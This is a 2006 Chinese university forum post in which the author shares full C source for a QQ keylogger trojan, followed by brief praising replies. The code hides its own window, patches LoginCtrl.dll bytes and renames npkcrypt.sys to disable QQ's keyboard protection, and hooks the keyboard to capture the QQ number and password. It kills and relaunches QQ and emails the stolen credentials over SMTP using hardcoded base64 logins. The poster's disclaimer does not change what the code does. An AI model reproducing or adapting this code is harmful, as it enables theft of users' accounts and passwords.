东陆风华BBS

 找回密码
 注册东陆风华通行证
东陆风华论坛18周年庆(2005.3.28-2023.3.28)东陆风华-云南大学各专业历年考研复试信息汇总帖送人玫瑰手留余香-云南大学历年考研复试信息汇总
东陆风华-云南大学各学院考研QQ群号码
申请东陆风华实名认证免费领取云大考研考博真题如何申请云南大学考研论坛VIP会员?VIP特权?
东陆风华-云南大学各省校友&云南省各地州校友QQ群云南大学呈贡校区图片 &宿舍图片&图片云大 东陆风华送人玫瑰手留余香-云南大学2021年考研复试信息分享
返回列表 发新帖
查看: 2062|回复: 3

QQ木马核心编程。。。。(C实现)

[复制链接]

该用户从未签到

发表于 2006-9-13 12:43:29 | 显示全部楼层 |阅读模式

东陆风华帐号全站通用,包括论坛、商城、网络家园等站点,登陆查看更精彩内容

您需要 登录 才可以下载或查看,没有帐号?注册东陆风华通行证

x
传点自己的程序过来。。。。

:3:呵呵,假期在家里。看看数据结构,看看C++。。。。无聊的时候想起了以前关于QQ的种种东西来^_^!

还记得以前写过些关于初级QQ盗号程序的帖子(自己也只有这个水平- -#),这个假期称着有时间,整理了一下。好了,废话不多说,下面介绍一下这个程序的4个大的部分:

1.Search QQ  Directory。这是相当关键的一步,是后来Crack Keyboard Protection的基础。一开始我是用的整个硬盘的递归目录进行查找,貌似速度太慢了0_0!后来改成了从当前QQ进程查找它的目录。当然,这样的话就只能在QQ运行的状态下测试了,否则就得自己在源码里设定QQ的安装路径。
2.Crack Keyboard Protection.以前有写过,这里不再啰嗦。。。。
3.Hook Keyboard.还记得在大一下学期刚开学的时候写了个Win32的Hook机制的文章,那时候也是以QQ为实验对象的^_^!不过当时用的方法太麻烦了,用了个自己写的.dll。后来发现那样不方便,而且自己是在用C(结合Win32 API)写Console的东西,所以就可以自己定义一下控制台的处理。。。。详见源码吧- -!
4.Send Mail。这是最后一步,也是最关键的一步!可惜现在我是技术不过关,用的是SMTP协议进行的发送,这样会被防火墙发现的。。。。哎。。。。
好了,介绍就到这里,下面是源码了:

  1. /* 文件名:QQ Keyboard Recorder.c
  2. *   用途:对QQ击键型木马的表面研究
  3. * 完成日期: 2006.8   Ver 0.01
  4. *  作者: 88250
  5. *  联系方式: E-mail: DL88250@gmail.com \ QQ:845765
  6. */
  7. #define _WIN32_WINNT 0x0400
  8. #include <io.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <windows.h>
  12. #include <Tlhelp32.h>
  13. #include <psapi.h>

  14. #define USER_ID 0x0000008A
  15. #define PSW_ID        0x000000B4

  16. #pragma comment(lib, "psapi.lib")
  17. #pragma comment(lib, "user32.lib")
  18. #pragma comment(lib, "ws2_32.lib")

  19. char sDirPath[255] = "C:\\Program Files\\QQ";
  20. char sUser[255] = {'U', 's', 'e', 'r', ':', ' '};
  21. char sPsw[255] = {'.', 'P', 's', 'w', 'd', ':', ' '};
  22. char MailData[255] = "From: "dl88250"<dl82850@126.com>\r\n"
  23.                                         "Subject: ";
  24. int nPsw = 7;
  25. HWND hLogin = NULL, hUser = NULL, hPsw = NULL, hWnd = NULL;
  26. HWND hSelf = NULL;
  27. DWORD g_tid = 0;            /* 当前的线程ID */
  28. HHOOK g_hook = NULL;        /* Keyboard Hook Handle */

  29. int KillProcess(char *c1, char *c2)
  30. {
  31.         int nSecFlag = 0;      /* 关闭成功的标志 */
  32.         HANDLE handle = NULL;
  33.         PROCESSENTRY32 *info = NULL;  /* 进程快照结构体 */
  34.         handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  35.         info = (PROCESSENTRY32 *)malloc(sizeof(PROCESSENTRY32));
  36.         info->dwSize = sizeof(PROCESSENTRY32);
  37.         Process32First(handle, info);
  38.         /* 开始枚举当前进程 */
  39.         while (Process32Next(handle, info) != FALSE){
  40.                 info->szExeFile;
  41.                 if ((0 == strcmp(c1, info->szExeFile)) || (0 == strcmp(c2, info->szExeFile))){
  42.                         hWnd = (HWND)OpenProcess(PROCESS_TERMINATE, FALSE, info->th32ProcessID);
  43.                         TerminateProcess(hWnd, 0);       /* 结束 */
  44.                         nSecFlag = 1;
  45.                 }
  46.         }
  47.         CloseHandle(handle);
  48.         if (1 == nSecFlag){
  49.             return 1;
  50.         }else{
  51.                 return 0;     /* 结束失败 */
  52.         }
  53. }

  54. void SendMail(void)
  55. {
  56.         WSADATA wsaData;
  57.         WORD wVersionRequested = MAKEWORD(2, 2);
  58.     struct hostent *pHostent = NULL;
  59.     SOCKET server = INVALID_SOCKET;
  60.     struct sockaddr_in service;

  61.     char Buffer[1024] = {0};
  62.         WSAStartup(wVersionRequested, &wsaData);
  63.     server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  64.     pHostent = gethostbyname("smtp.126.com");
  65.     service.sin_family = AF_INET;
  66.     memcpy(&service.sin_addr.s_addr, pHostent->h_addr_list[0], pHostent->h_length);
  67.     service.sin_port = htons(25);
  68.     connect(server, (struct sockaddr*)&service, sizeof(service));
  69.     recv(server, Buffer, sizeof(Buffer), 0);
  70.     send(server, "HELO Server....\r\n", strlen("HELO Server....\r\n"), 0);
  71.     recv(server, Buffer, sizeof(Buffer), 0);
  72.     send(server, "AUTH LOGIN\r\n", strlen("AUTH LOGIN\r\n"), 0);
  73.     recv(server, Buffer, sizeof(Buffer), 0);
  74.     send(server, "bGJleW9uZDRrb21h\r\n", strlen("bGJleW9uZDRrb21h\r\n"), 0);
  75.     recv(server, Buffer, sizeof(Buffer), 0);
  76.     send(server, "bGJleW9uZDRrb21h\r\n", strlen("bGJleW9uZDRrb21h\r\n"), 0);
  77.     recv(server, Buffer, sizeof(Buffer), 0);
  78.     send(server, "MAIL FROM: <lbeyond4koma@126.com>\r\n", strlen("MAIL FROM: <lbeyond4koma@126.com>\r\n"), 0);
  79.     recv(server, Buffer, sizeof(Buffer), 0);
  80.     send(server, "RCPT TO: <dl88250@gmail.com>\r\n", strlen("RCPT TO: <dl88250@gmail.com>\r\n"), 0);
  81.     recv(server, Buffer, sizeof(Buffer), 0);
  82.     send(server, "Data\r\n", strlen("Data\r\n"), 0);
  83.     recv(server, Buffer, sizeof(Buffer), 0);
  84.     send(server, MailData, strlen(MailData), 0);
  85.     recv(server, Buffer, sizeof(Buffer), 0);
  86.     send(server, "QUIT\r\n", strlen("QUIT\r\n"), 0);
  87.     WSACleanup();
  88.         printf("Success!");
  89.         ExitProcess(0);
  90.         return;
  91. }
  92. /* 处理一下截取的帐号和密码,并整合到邮件主题里 */
  93. void DealWith(void)
  94. {
  95.         strcat(MailData, sUser);
  96.         strcat(MailData, sPsw);
  97.         strcat(MailData, "\r\n.\r\n");
  98.         printf("%s", MailData);
  99.         SendMail();
  100.         return;
  101. }
  102. /* 枚举子窗口,寻找QQ号以及密码的控件Handle */
  103. BOOL CALLBACK EnumChildWndProc (HWND hwnd, LPARAM lParam)
  104. {
  105.         long id = GetWindowLong(hwnd, GWL_ID);
  106.         if (!hwnd){
  107.         return FALSE;
  108.         }
  109.         if (id == USER_ID){
  110.                 hUser = hwnd;
  111.         }else if (id == PSW_ID){
  112.                 hPsw = hwnd;
  113.         }
  114.         return TRUE;
  115. }

  116. /* 定义console的处理函数,用于退出当前的线程,以便Hook */
  117. BOOL CALLBACK con_handler(DWORD g_tid)
  118. {
  119.         PostThreadMessage(g_tid, WM_QUIT, 0, 0);
  120.         return TRUE;
  121. }
  122. /* 分析键盘按键,这里基本没在做大小写的判定。
  123. × 而且在登录的时候只能用回车。。。。
  124. */
  125. LRESULT CALLBACK kb_proc(int code, WPARAM wParam, LPARAM lParam)
  126. {
  127.         PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
  128.         if (wParam == WM_KEYDOWN && p->vkCode == VK_RETURN && lParam > 0){
  129.             SendMessage(hUser, WM_GETTEXT, 20, (LPARAM)(sUser + 6));
  130.                 UnhookWindowsHookEx(g_hook);
  131.                 DealWith();             /* 开始处理截取的数据 */
  132.         }
  133.         if ((wParam == WM_KEYDOWN) && ((p->vkCode > 47) && (p->vkCode < 58))){
  134.                 sPsw[nPsw] = p->vkCode;
  135.                 nPsw++;
  136.                 goto next;
  137.         }
  138.         if ((wParam == WM_KEYDOWN) && ((p->vkCode > 64) && (p->vkCode < 91))){
  139.                 sPsw[nPsw] = p->vkCode + 32;
  140.                 nPsw++;
  141.                 goto next;
  142.         }
  143.         if (((wParam == WM_KEYDOWN) && ((GetKeyState(VK_CAPITAL) & 1) || (GetKeyState(VK_SHIFT) & 1)))
  144.                 && (((p->vkCode > 64) && (p->vkCode < 91)))){
  145.                 sPsw[nPsw] = p->vkCode;
  146.                 nPsw++;
  147.                 goto next;
  148.         }
  149.         next:
  150.                 return CallNextHookEx(g_hook, code, wParam, lParam);
  151. }

  152. /* 查找需要的句柄, 并开始Hook*/
  153. void Start(void)
  154. {
  155.         MSG msg;
  156.         if (hLogin = FindWindow("#32770", "QQ用户登录")){
  157.                 EnumChildWindows(hLogin, EnumChildWndProc, 0);
  158.                 if (hUser != NULL){
  159.                         g_tid = GetCurrentThreadId();
  160.                         SetConsoleCtrlHandler(&con_handler, TRUE);
  161.                         g_hook = SetWindowsHookEx(WH_KEYBOARD_LL, &kb_proc, GetModuleHandle(NULL),0);
  162.                         while (GetMessage(&msg, NULL, 0, 0)){
  163.                                 TranslateMessage(&msg);
  164.                                 DispatchMessage(&msg);
  165.                         }
  166.                 }
  167.         }
  168.         return;
  169. }
  170. /* 对QQ:\\LoginCtrl.dll以及npkcrypt.sys文件动点手脚^^,实现破解键盘保护*/
  171. void Crack(void)
  172. {
  173.         char crack[1];
  174.         char sLCpath[255];
  175.         char sNpkcrypt[255], sNpkcryptDL[255];
  176.         FILE *f = NULL;
  177.         strcpy(sLCpath, sDirPath);
  178.         strcpy(sNpkcrypt, sDirPath);
  179.         strcat(sNpkcrypt, "\\npkcrypt.sys");
  180.         strcpy(sNpkcryptDL, sDirPath);
  181.         strcat(sNpkcryptDL, "\\npkcrypt.DL");
  182.         rename(sNpkcrypt, sNpkcryptDL);
  183.         f = fopen(strcat(sLCpath, "\\LoginCtrl.dll"), "rb+");
  184.         if (f == NULL){
  185.             return;
  186.         }
  187.         fseek(f, 63921, SEEK_SET);
  188.         crack[0] = 115;                          // 116 -> 115
  189.         fwrite(crack, sizeof(char), 1, f);
  190.         fseek(f, 64105, SEEK_SET);
  191.         crack[0] = 193;           // 194 -> 193
  192.         fwrite(crack, sizeof(char), 1, f);
  193.         fseek(f, 64135, SEEK_SET);
  194.         crack[0] = 158;                          // 159 -> 158
  195.         fwrite(crack, sizeof(char), 1, f);

  196.         fclose(f);

  197.         return;
  198. }

  199. int main(void)
  200. {
  201.         DWORD processid[1024], pBytesReturned[1024], processSum, i;
  202.         HANDLE hProcess;
  203.         HMODULE hModule;
  204.         char path[MAX_PATH] = "";
  205.         hSelf = FindWindow("ConsoleWindowClass", NULL);   /* 程序自身Handle */
  206.         /* 实现自身的伪隐藏 */
  207.         SetWindowLong(hSelf, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
  208.         SetWindowPos(hSelf, HWND_BOTTOM, 0, 0, 0, 0, SWP_HIDEWINDOW);
  209.         /* 枚举当前进程,找到QQ进程后关闭 */
  210.         EnumProcesses(processid, sizeof(processid), pBytesReturned);
  211.         processSum = *pBytesReturned / sizeof(DWORD);
  212.         for (i = 0; i < processSum; i++){
  213.                 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processid[i]);
  214.                 if (hProcess){
  215.                         EnumProcessModules(hProcess, &hModule, sizeof(hModule), pBytesReturned);
  216.                         GetModuleFileNameEx(hProcess, hModule, path, sizeof(path));
  217.                         GetShortPathName(path, path, 256);
  218.                         if (strstr(path, "QQ.exe") || strstr(path, "QQ.EXE")){
  219.                                 strcpy(sDirPath, path);
  220.                         }
  221.                 }
  222.         }
  223.         CloseHandle(hProcess);
  224.         CloseHandle(hModule);
  225.         *(sDirPath + (strlen(sDirPath) - 6)) = '\0';
  226.         for (i = strlen(sDirPath); i > 1; i--){
  227.             sDirPath[i+1] = sDirPath[i];

  228.         }
  229.         sDirPath[++i] = '\\';
  230.         Crack();
  231.         Start();
  232.         Sleep(5000);
  233.         if (1 == KillProcess("QQ.EXE", "QQ.exe")){
  234.                 Crack();
  235.                 strcpy(path, sDirPath);
  236.                 strcat(path, "\\QQ.exe");
  237.                 WinExec(path, SW_SHOW);
  238.         }
  239.         Crack();
  240.         while (TRUE){
  241.                 Sleep(8);     /* 降低CPU占用 */
  242.                 Start();
  243.         }
  244. }
复制代码

再次申明,这个东西还是有一定有危险性的- -!这里只是技术上的交流,不要乱弄。。。。

[ 本帖最后由 88250 于 2006-9-13 12:44 编辑 ]
东陆风华APP客户端 http://bbs.ynutx.net/appbyme_app-download.html
云南大学2016年考研复试信息分享

该用户从未签到

发表于 2006-9-15 11:22:22 | 显示全部楼层
哈哈,支持,楼主好厉害哦...
东陆风华APP客户端 http://bbs.ynutx.net/appbyme_app-download.html

该用户从未签到

 楼主| 发表于 2006-9-15 18:36:12 | 显示全部楼层
原帖由 地狱幻想 于 2006-9-15 11:22 发表
哈哈,支持,楼主好厉害哦...

谢谢支持。。。。
东陆风华APP客户端 http://bbs.ynutx.net/appbyme_app-download.html

该用户从未签到

发表于 2006-10-15 11:33:25 | 显示全部楼层
厉害
东陆风华APP客户端 http://bbs.ynutx.net/appbyme_app-download.html

本版积分规则

关闭

站长推荐上一条 /2 下一条

QQ|小黑屋|手机版|Archiver|东陆风华,凝聚云大人的力量 ( 滇ICP备07500061号-1 )

GMT+8, 2024-5-4 09:25 , Processed in 0.125000 second(s), 26 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表